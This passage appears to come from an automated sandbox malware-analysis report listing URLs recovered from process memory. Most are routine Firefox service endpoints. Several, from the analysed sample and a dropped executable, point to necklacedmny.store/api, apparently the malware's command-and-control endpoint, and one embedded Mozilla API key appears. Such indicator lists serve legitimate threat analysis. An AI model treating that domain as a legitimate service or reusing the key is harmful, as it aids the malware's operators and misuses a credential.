Source: firefox.exe, 00000022.00000002.2908828534.000001F36B980000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B966000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2893246597.000001F36A518000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2451846844.000001F36B973000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 00000022.00000003.2443822376.000001F372549000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 00000022.00000003.2443822376.000001F372549000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 00000022.00000003.2443822376.000001F372549000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 00000022.00000002.2879932845.000001F3699B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 00000022.00000003.2450564375.000001F36AAED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2896497516.000001F36AAEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 00000022.00000002.2690546838.000001F3662DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 00000022.00000002.2690546838.000001F3662DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%primeBackground/extension.wake
Source: firefox.exe, 00000022.00000003.2450786457.000001F36AAB6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2896497516.000001F36AA9D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2888771992.000001F369FCE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2884390196.000001F369B6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 00000022.00000003.2450786457.000001F36AAB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213ebH
Source: firefox.exe, 00000022.00000002.2727624317.000001F366FA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368487000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2869784468.000001F36711F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2879035456.000001F369839000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2384808863.000001F369833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%shttps://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000022.00000002.2628709169.000001F365E7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368487000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2879035456.000001F369839000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2384808863.000001F369833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 00000022.00000002.2876851521.000001F368487000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 00000022.00000002.2628709169.000001F365E7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368487000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2879035456.000001F369839000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2384808863.000001F369833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%sresource://gre/modules/JSONFile.sys.mjs
Source: firefox.exe, 00000022.00000002.2876851521.000001F368487000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 00000022.00000002.2690546838.000001F3662DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2550900709.000001F35A1D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2526904133.000001750FA72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2524602490.00000198B0C86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B98D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mochitest.youtube.com/
Source: firefox.exe, 00000022.00000002.2727624317.000001F366F4A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F3684B9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F366203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 00000022.00000002.2513588635.0000001B5A204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org/
Source: file.exe, 00000000.00000003.1453154723.0000000000D55000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 6c1c4a36e1.exe, 00000012.00000003.2302114944.0000000001491000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2283723837.0000000001492000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2285957925.0000000001460000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2321077874.000000000145F000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000002.2532658447.000000000141F000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000002.2532658447.00000000013CE000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2283516905.0000000001492000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000002.2532658447.0000000001461000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2301693773.0000000001491000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2302606153.0000000001491000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2301693773.000000000145F000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2302606153.0000000001461000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2305295015.0000000001491000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2321077874.0000000001490000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2285577921.0000000001493000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000002.2532658447.0000000001413000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2284213828.0000000001492000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2305295015.0000000001461000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2302114944.0000000001461000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/
Source: 6c1c4a36e1.exe, 00000012.00000003.2268831971.000000000148E000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2270027136.0000000001493000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/.k
Source: 6c1c4a36e1.exe, 00000012.00000002.2532658447.00000000014AD000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2321024106.0000000001495000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000026.00000002.2532922901.0000000000C23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api
Source: 6c1c4a36e1.exe, 00000012.00000003.2388077313.00000000014B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api(#
Source: 6c1c4a36e1.exe, 00000012.00000003.2283516905.00000000014A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api:
Source: 6c1c4a36e1.exe, 00000012.00000003.2301693773.0000000001496000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/z
Source: 6c1c4a36e1.exe, 00000012.00000003.2283723837.0000000001492000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2283516905.0000000001492000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2285577921.0000000001493000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2284213828.0000000001492000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/~k
Source: file.exe, 00000000.00000003.1347332097.00000000054E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/api
Source: 6c1c4a36e1.exe, 00000012.00000003.2301693773.0000000001496000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/apilowWarningViaUpgradechunkedTransfer-EncodingTrailerno-cachePragmaK
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 00000022.00000002.2690546838.000001F3662DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 00000022.00000002.2876851521.000001F368487000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2879035456.000001F369839000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2384808863.000001F369833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B98D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.hbomax.com/page/
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B98D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.hbomax.com/player/
Source: firefox.exe, 00000022.00000002.2628709169.000001F365E7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368487000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2879035456.000001F369839000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2384808863.000001F369833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000022.00000002.2876851521.000001F368487000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 00000022.00000002.2690546838.000001F366224000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://probeinfo.telemetry.mozilla.org/glean/repositories.
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 00000022.00000002.2876851521.000001F368470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.combrowser.launched_to_handledch_handle/handleNotification/
Source: firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F366272000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 00000022.00000002.2727624317.000001F366F4A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F3684B9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F366203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 00000022.00000003.2378655391.000001F369A00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2379178677.000001F369C42000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2879932845.000001F369933000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/shims/mochitest-shim-1.js
Source: firefox.exe, 00000022.00000003.2505600482.000001F36B15A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 00000022.00000002.2896497516.000001F36AAB6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2450786457.000001F36AAB6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F366203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B98A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 00000022.00000002.2896497516.000001F36AAB6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2450786457.000001F36AAB6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F366203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B98A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 00000022.00000003.2447988783.000001F371E3D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2447988783.000001F371EBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 00000022.00000002.2727624317.000001F366F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2447988783.000001F371E63000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2447988783.000001F371EBF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2524602490.00000198B0C12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000022.00000003.2447988783.000001F371E3D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2727624317.000001F366F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2894351966.000001F36A67E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2447988783.000001F371EBF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 00000022.00000003.2447537773.000001F372625000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#
